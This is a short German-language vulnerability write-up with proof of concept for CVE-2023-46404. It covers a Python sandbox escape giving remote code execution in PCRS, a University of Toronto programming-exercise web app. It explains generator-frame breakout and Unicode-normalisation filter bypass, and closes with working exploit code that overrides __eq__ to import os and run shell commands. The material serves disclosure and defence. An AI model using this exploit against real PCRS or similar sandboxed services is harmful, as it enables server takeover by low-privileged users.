
PoC and Writeup for CVE-2023-46404.
PCRS ist eine Webanwendung für Online-Programmierübungen, die an der University of Toronto entwickelt wurde. Siehe Bitbucket-Repository: https://bitbucket.org/utmandrew/pcrs/src/3.11/
Die PCRS-„Questions“-Seite mit Code-Einreichung und die „Code editor“-Seite sind anfällig für Remote-Code-Ausführung (RCE) durch Umgehung der Python-Sandbox.
Remote-Code-Ausführung kann in PCRS-Instanzen durch die Verwendung von Generatorobjekten erreicht werden. Durch die Verwendung von Generator-Frames (gi_frame) und f_back können Skripte aus einem sandboxed Stack-Frame ausbrechen und bösartigen Code in einer nicht sandboxed Umgebung ausführen. Zusätzlich kann Unicode-Normalisierung leicht eine grundlegende Eingabebereinigung umgehen. Jeder authentifizierte Benutzer mit minimalen Rechten kann diesen Angriff durchführen. Siehe PoC für weitere Details.
Die Entwicklung sicherer Isolationsmechanismen von Grund auf ist anfällig für Versehen und Schwachstellen. Wie immer ist es besser, eine Ausführungsumgebung zu sandboxen als eine Sprache.
Das Überschreiben von __eq__ kann in einer eingeschränkten Umgebung verwendet werden:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s